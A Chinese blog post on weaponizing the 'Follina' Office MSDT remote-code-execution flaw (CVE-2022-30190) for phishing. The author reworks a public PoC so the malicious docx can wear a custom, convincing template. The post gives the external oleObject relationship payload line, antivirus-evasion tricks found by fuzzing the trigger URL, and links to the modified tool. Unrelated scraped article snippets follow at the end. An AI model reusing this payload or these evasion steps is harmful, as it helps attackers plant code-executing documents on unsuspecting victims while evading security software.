昨天看了下'Follina' MS-MSDT n-day Microsoft Office RCE 这个漏洞,修改了下chvancooten的脚本,实现可以自定义word模板,便于实战中钓鱼使用,自己编辑好钓鱼word文档后-f参数指定即可。

也可以从我的github上下载:https://github.com/komomon/CVE-2022-30190-follina-Office-MSDT-Fixed

1.复现

使用https://github.com/chvancooten/follina.py的项目生成恶意word文件,可以实现命令执行,不过腾讯电脑管家、火绒会查杀





2. 分析poc

主要就是两处,一处是改word的word/_rels目录下新添加一个document.xml.rels文件,里面是一个windows.location.href加载远程连接



远程html中放着ms-msdt:/协议写的HTML



最后将文件压缩打包成docx。

3. Fuzz

第一种

分析后可知只是在word的word/_rels修改了document.xml.rels文件

应对实战空文件不行,随便新建一个文件然后添加一些内容,然后解压后将document.xml.rels放入,再压缩回去,发现不会触发。

第二种

生成的clickme.docx 不修改的情况下,可以多次触发,只要修改就不能触发了



第三种

修改document.xml.rels 文件名不行,依然查杀

第四种fuzz内容

查杀的是请求外链,http字样就会查杀

mhtml:http://localhost:80/exploit.html!x-usc:http://localhost:80/exploit.html
换成
http://localhost:80/exploit.html!

就可以了

但是实战中要用到自己的word模板,要不然受害者一点开就会觉察到不正常,所以为了贴近实战,修改了脚本,可以自定义word模板。

4.再分析

4.1.word结构和poc分析



word文件结构:

.
├── [Content_Types].xml // 描述的是整个文档的内容。把各个XML文件组合成一个整体
├── _rels // 定义Package(Zip包)和它所直接包含的Part之间的关系。对于一个 Part 来说,如果它依赖其他 Part,那么需要为这个 Part 创建一个目录,并且也有一个 _rels 目录,目录下面会有一个 partname.rels 文件。比如 /word/document.xml 就是很典型的例子
├── docProps // 记录docx文档的主要属性信息
│ ├── app.xml // 描述文档的文档类型、版本、只读信息、共享、安全属性等信息
│ └── core.xml // 描述文档的创建时间、标题、主题和作者等基于Open XML约定文档格式的通用文件属性信息
└── word
├── _rels
│ └── document.xml.rels
├── charts
│ ├── _rels
│ │ ├── chart1.xml.rels \\ 映射表存放文件文本框文件的位置
│ ├── chart1.xml
│ ├── colors1.xml
│ ├── colors2.xml
│ ├── style1.xml
│ ├── style2.xml
├── document.xml // 文档中所有可见文字的内容和属性及不可见部分的内容和属性
├── embeddings
│ ├── Microsoft_Excel_Worksheet.xlsx
│ ├── Microsoft_Excel_Worksheet1.xlsx
│ ├── oleObject1.bin // OLE是Object Linking and Embedding的缩写,直译为对象连接与嵌入;满足用户在一个文档中加入不同格式数据的需要(如文本、图像、声音等),即解决建立复合文档问题。
│ ├── oleObject2.bin
│ ├── oleObject3.bin
│ ├── oleObject4.bin
├── endnotes.xml
├── fontTable.xml // 文档所使用的字体信息
├── footer1.xml
├── footer2.xml
├── footnotes.xml // 文档中脚注部分信息
├── header1.xml
├── header2.xml
├── media // Word中的多媒体文件,如插入的图片、公式对应的wmf文件等
│ ├── image1.emf
│ ├── image2.png
│ ├── image3.jpeg
│ ├── image4.wmf
│ ├── image5.emf
├── numbering.xml // Word中的有序列表、无序列表等的信息,定义了列表的样式、序号等信息
├── settings.xml // 文档的总体设置信息
├── styles.xml // Word的样式信息,定义样式的展示优先级以及段落、表格等样式
├── theme // 文档的主题的所有信息,如颜色、字体大小
│ ├── theme1.xml
│ ├── themeOverride1.xml
│ └── themeOverride2.xml
└── webSettings.xml // 文档左右间距等的样式信息

分析word的目录结构,了解到Word/document.xml 是文件的内容

[Content_Types].xml存储的是part名称和类型

每一个part是一个xml,part如果引用外部文件就需要在当前目录下创建一个_rels文件夹,下面存放外部引用的rels文件,poc中就是用了document.xml的外部引用。



Poc脚本的模板使用的rid是1337,控制修改在documen.xml中如下修改改成了1111



然后 document.xml.rels 对应修改成了之后就可以使用了

4.2.关于文件内容

通过了解word的结构后,如果想要文件内容是自定义的,即自创建模板,可以修改document.xml即可

填上如下部分即可



然后对应的xxx.xml.rels文件中添加外部引用的一行,注意rid对应即可。

<Relationship Id="rId1111" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://localhost:80/exploit!" TargetMode="External"/>

如下自创模板,并触发漏洞

4.3.静态免杀



上线测试



最后编写了自定义word模板的脚本:





​工具下载:https://github.com/komomon/CVE-2022-30190-follina-Office-MSDT-Fixed

技术交流

关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。



知识星球

团队建立了知识星球,不定时更新最新漏洞复现,手把手教你,同时不定时更新POC、内外网渗透测试骚操作。感兴趣的可以加一下。







CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】的更多相关文章

  1. WPS Office 2012 专业版 附正版序列号

    WPS Office 2012 专业版 附正版序列号 首先说说WPS的研发历史沿革:1988年5月,一个名叫求伯君的程序员凭借一台386电脑写出了WPS 1.0,从此开创了中文字处理时代,并迅速占领中 ...

  2. asp.net mvc源码分析-DefaultModelBinder 自定义的普通数据类型的绑定和验证

    原文:asp.net mvc源码分析-DefaultModelBinder 自定义的普通数据类型的绑定和验证 在前面的文章中我们曾经涉及到ControllerActionInvoker类GetPara ...

  3. Office办公软件(Excel PPT Word)使用整理

    Office办公软件(Excel PPT Word)使用整理.. -------------- Excel默认打印预览于当前连接的打印机的纸张大小保持一致. Excel sheet不见了怎么办 --- ...

  4. Joomla 3.4.6 RCE 分析

    Joomla 3.4.6 RCE 漏洞分析,首发先知社区: https://xz.aliyun.com/t/6522 漏洞环境及利用 Joomla 3.4.6 : https://downloads. ...

  5. Laravel 5.8 RCE 分析

    原帖地址 : https://xz.aliyun.com/t/6059 Laravel 代码审计 环境搭建 composer create-project --prefer-dist laravel/ ...

  6. thinkphp 5.1框架利用及rce分析

    前言 上个学期钻研web渗透的时候接触过几个tp的框架,但那时候还没有写blog的习惯,也没有记录下来,昨天在做ctf的时候正好碰到了一个tp的框架,想起来就复现一下 正文 进入网站,标准笑脸,老tp ...

  7. 动态调试|Maccms SQL 注入分析(附注入盲注脚本)

    0x01 前言 已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文. 0x02 环境 Web: phpstudySystem: Window ...

  8. CNTA-2019-0014 wls9-async 反序列化 rce 分析

    在调试weblogic,以前导入jar包都是在weblogic目录搜索*.jar拷贝出来在导入IDEA.有时候会出现好多相同的jar包,调试的时候就会出问题,实际上导入以下俩个包就可以了.1.是mod ...

  9. Vuzzer自动漏洞挖掘工具简单分析附使用介绍

    Vuzzer 是由计算机科学机构  Vrije Universiteit Amsterdam.Amsterdam Department of Informatics 以及 International ...

随机推荐

  1. 使用Camera API https://developer.mozilla.org/zh-CN/docs/Web/Guide/API/Camera

    使用Camera API 在本文章中 获取到所拍摄照片的引用 在网页中展示图片 完整的示例代码 HTML页面: JavaScript文件: 浏览器兼容性 通过Camera API,你可以使用手机的摄像 ...

  2. Java语言学习day03--6月30日

    今日内容介绍 1.变量 2.运算符 ###01变量概述     * A: 什么是变量?         * a: 变量是一个内存中的小盒子(小容器),容器是什么?生活中也有很多容器,例如水杯是容器,用 ...

  3. TexFormula2Word: 将Latex公式转换为MathML的Chrome扩展

    前言 因为学校要求对毕业论文进行格式检查,而格式检查又必须上传Word文件,这就导致只能使用Word写毕业论文.但Word公式输入实在是太难用,加之我在小论文中已经用Latex写过大部分公式,所以就希 ...

  4. JVM内存管理面试常见问题全解

    目录 一.什么是JVM 1.jvm的三个组成部分 二.类加载系统 1.类的加载过程 2.类加载器 三.双亲委派机制 1.双亲委派机制介绍 2.为什么要双亲委派机制 3.双亲委派机制的核心源码 4.全盘 ...

  5. B3log开源博客compose搭建

    B3log开源博客搭建 docker 安装 yum install docker-ce-17.12.1.ce docker-compose 安装 curl -L https://github.com/ ...

  6. *CTF babyarm内核题目分析

    本文从漏洞分析.ARM64架构漏洞利用方式来讨论如何构造提权PoC达到读取root权限的文件.此题是一个ARM64架构的Linux 5.17.2 版本内核提权题目,目的是读取root用户的flag文件 ...

  7. JS_进阶-遍历对象属性、数组输出、Math、正则表达式匹配

    1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="U ...

  8. Vue过渡和动画效果展示(案例、GIF动图演示、附源码)

    前言 本篇随笔主要写了Vue过渡和动画基础.多个元素过渡和多个组件过渡,以及列表过渡的动画效果展示.详细案例分析.GIF动图演示.附源码地址获取. 作为自己对Vue过渡和动画效果知识的总结与笔记. 因 ...

  9. XCTF练习题---MISC---适合作为桌面

    XCTF练习题---适合作为桌面 flag:flag{38a57032085441e7} 解题步骤: 1.观察题目,下载附件 2.拿到题目以后是一张图片,切换一下通道,发现一张二维码,使用QR进行翻译 ...

  10. C#关于在返回值为Task方法中使用Thread.Sleep引发的思考

    起因 最近有个小伙伴提出了一个问题,就是在使用.net core的BackgroundService的时候,对应的ExecuteAsync方法里面写如下代码,会使程序一直卡在当前方法,不会继续执行,代 ...